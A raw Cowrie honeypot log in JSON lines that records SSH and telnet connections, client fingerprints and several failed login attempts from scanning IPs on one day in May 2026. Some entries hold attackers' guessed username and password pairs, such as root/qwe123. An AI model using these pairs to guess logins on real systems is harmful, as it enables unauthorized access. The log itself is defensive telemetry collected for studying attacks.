{"eventid":"cowrie.session.closed","duration":31.134605169296265,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:27.826243Z","src_ip":"74.91.213.120","session":"0a599636e644","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.193185567855835,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:28.245346Z","src_ip":"74.91.213.120","session":"9d3f570acc69","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":51542,"dst_ip":"159.203.135.109","dst_port":23,"session":"2aa720d0d985","protocol":"telnet","message":"New connection: 74.91.213.120:51542 (159.203.135.109:23) [session: 2aa720d0d985]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:28.930443Z"}
{"eventid":"cowrie.session.closed","duration":31.130284070968628,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:29.129629Z","src_ip":"74.91.213.120","session":"56b6842efe24","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":37242,"dst_ip":"159.203.135.109","dst_port":22,"session":"81d9878c8721","protocol":"ssh","message":"New connection: 45.153.34.114:37242 (159.203.135.109:22) [session: 81d9878c8721]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:30.516843Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:30.521492Z","src_ip":"45.153.34.114","session":"81d9878c8721","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:30.607531Z","src_ip":"45.153.34.114","session":"81d9878c8721","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"splunk","password":"splunk","message":"login attempt [splunk/splunk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:30.997225Z","src_ip":"45.153.34.114","session":"81d9878c8721","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:32.172839Z","src_ip":"45.153.34.114","session":"81d9878c8721","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.16282820701599,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:33.001006Z","src_ip":"74.91.213.120","session":"855be38a0e6a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.147923707962036,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:33.920566Z","src_ip":"74.91.213.120","session":"9b787b5807c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.167210817337036,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:35.016837Z","src_ip":"74.91.213.120","session":"9d8357e7ef45","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.18385148048401,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:35.261056Z","src_ip":"74.91.213.120","session":"cbbf3573d537","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.140652179718018,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:37.405450Z","src_ip":"74.91.213.120","session":"28c2e4167000","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.147736310958862,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:37.827120Z","src_ip":"74.91.213.120","session":"5f7c1d38c1d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":37254,"dst_ip":"159.203.135.109","dst_port":22,"session":"781b83310094","protocol":"ssh","message":"New connection: 45.153.34.114:37254 (159.203.135.109:22) [session: 781b83310094]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:38.441393Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:38.450618Z","src_ip":"45.153.34.114","session":"781b83310094","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:38.530154Z","src_ip":"45.153.34.114","session":"781b83310094","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"qiyuesuo","password":"qiyuesuo","message":"login attempt [qiyuesuo/qiyuesuo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:38.863272Z","src_ip":"45.153.34.114","session":"781b83310094","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.03326177597046,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:39.180404Z","src_ip":"74.91.213.120","session":"130d133be52c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:39.951223Z","src_ip":"45.153.34.114","session":"781b83310094","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":48104,"dst_ip":"159.203.135.109","dst_port":23,"session":"677aef17196d","protocol":"telnet","message":"New connection: 74.91.213.120:48104 (159.203.135.109:23) [session: 677aef17196d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:40.352305Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":48116,"dst_ip":"159.203.135.109","dst_port":23,"session":"e1a5c0cdfde9","protocol":"telnet","message":"New connection: 74.91.213.120:48116 (159.203.135.109:23) [session: e1a5c0cdfde9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:41.089652Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":39474,"dst_ip":"10.17.0.5","dst_port":22,"session":"2dcf007cdd5d","protocol":"ssh","message":"New connection: 80.94.92.182:39474 (10.17.0.5:22) [session: 2dcf007cdd5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:42.442173Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:42.546741Z","src_ip":"80.94.92.182","session":"2dcf007cdd5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.14892077445984,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:44.992525Z","src_ip":"74.91.213.120","session":"4dde5009610f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":47082,"dst_ip":"159.203.135.109","dst_port":22,"session":"a6446855cee1","protocol":"ssh","message":"New connection: 45.153.34.114:47082 (159.203.135.109:22) [session: a6446855cee1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:46.295423Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:46.300369Z","src_ip":"45.153.34.114","session":"a6446855cee1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:46.383268Z","src_ip":"45.153.34.114","session":"a6446855cee1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazwsxedc","message":"login attempt [root/qazwsxedc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:46.781254Z","src_ip":"45.153.34.114","session":"a6446855cee1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.132164001464844,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:47.106218Z","src_ip":"74.91.213.120","session":"70ac94ca1d7c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.698566913604736,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:47.737587Z","src_ip":"74.91.213.120","session":"2c8b2bc833b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:47.869625Z","src_ip":"45.153.34.114","session":"a6446855cee1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.187349796295166,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:48.264464Z","src_ip":"74.91.213.120","session":"b9f3ca420cac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.18598461151123,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:52.478505Z","src_ip":"74.91.213.120","session":"a10589c87e20","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":57316,"dst_ip":"159.203.135.109","dst_port":23,"session":"2795c1cccef4","protocol":"telnet","message":"New connection: 74.91.213.120:57316 (159.203.135.109:23) [session: 2795c1cccef4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:52.676720Z"}
{"eventid":"cowrie.session.closed","duration":31.172065258026123,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:54.047530Z","src_ip":"74.91.213.120","session":"c8ec7aa00bfe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":51192,"dst_ip":"159.203.135.109","dst_port":22,"session":"41156bf0e825","protocol":"ssh","message":"New connection: 45.153.34.114:51192 (159.203.135.109:22) [session: 41156bf0e825]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:54.254137Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:54.258807Z","src_ip":"45.153.34.114","session":"41156bf0e825","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:54.345516Z","src_ip":"45.153.34.114","session":"41156bf0e825","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123","message":"login attempt [root/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:54.602962Z","src_ip":"45.153.34.114","session":"41156bf0e825","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":57304,"dst_ip":"159.203.135.109","dst_port":23,"session":"be4da7ea0d3d","protocol":"telnet","message":"New connection: 74.91.213.120:57304 (159.203.135.109:23) [session: be4da7ea0d3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:54.671624Z"}
{"eventid":"cowrie.session.closed","duration":31.138882398605347,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:54.811533Z","src_ip":"74.91.213.120","session":"fb3d10f393f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:55.693120Z","src_ip":"45.153.34.114","session":"41156bf0e825","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"220.205.122.34","src_port":58276,"dst_ip":"10.17.0.5","dst_port":22,"session":"c8ee972ce3dc","protocol":"ssh","message":"New connection: 220.205.122.34:58276 (10.17.0.5:22) [session: c8ee972ce3dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:55.973420Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:55.979303Z","src_ip":"220.205.122.34","session":"c8ee972ce3dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:56.212335Z","src_ip":"220.205.122.34","session":"c8ee972ce3dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dbus-helper","password":"warnight","message":"login attempt [dbus-helper/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:57.167809Z","src_ip":"220.205.122.34","session":"c8ee972ce3dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:58.402318Z","src_ip":"220.205.122.34","session":"c8ee972ce3dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.91.213.120","src_port":45344,"dst_ip":"159.203.135.109","dst_port":23,"session":"c4fd992d36db","protocol":"telnet","message":"New connection: 74.91.213.120:45344 (159.203.135.109:23) [session: c4fd992d36db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:58.916720Z"}
{"eventid":"cowrie.session.closed","duration":"54.7","message":"Connection lost after 54.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:50:59.378470Z","src_ip":"115.140.161.61","session":"7ba47691e62d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.12994956970215,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:51:00.060266Z","src_ip":"74.91.213.120","session":"2aa720d0d985","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":58192,"dst_ip":"159.203.135.109","dst_port":22,"session":"c4e3951a2942","protocol":"ssh","message":"New connection: 45.153.34.114:58192 (159.203.135.109:22) [session: c4e3951a2942]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:51:02.309860Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:51:02.338816Z","src_ip":"45.153.34.114","session":"c4e3951a2942","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:51:02.424486Z","src_ip":"45.153.34.114","session":"c4e3951a2942","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZ2wsx3edc","message":"login attempt [root/!QAZ2wsx3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T07:51:02.703739Z","src_ip":"45.153.34.114","session":"c4e3951a2942","protocol":"ssh"}
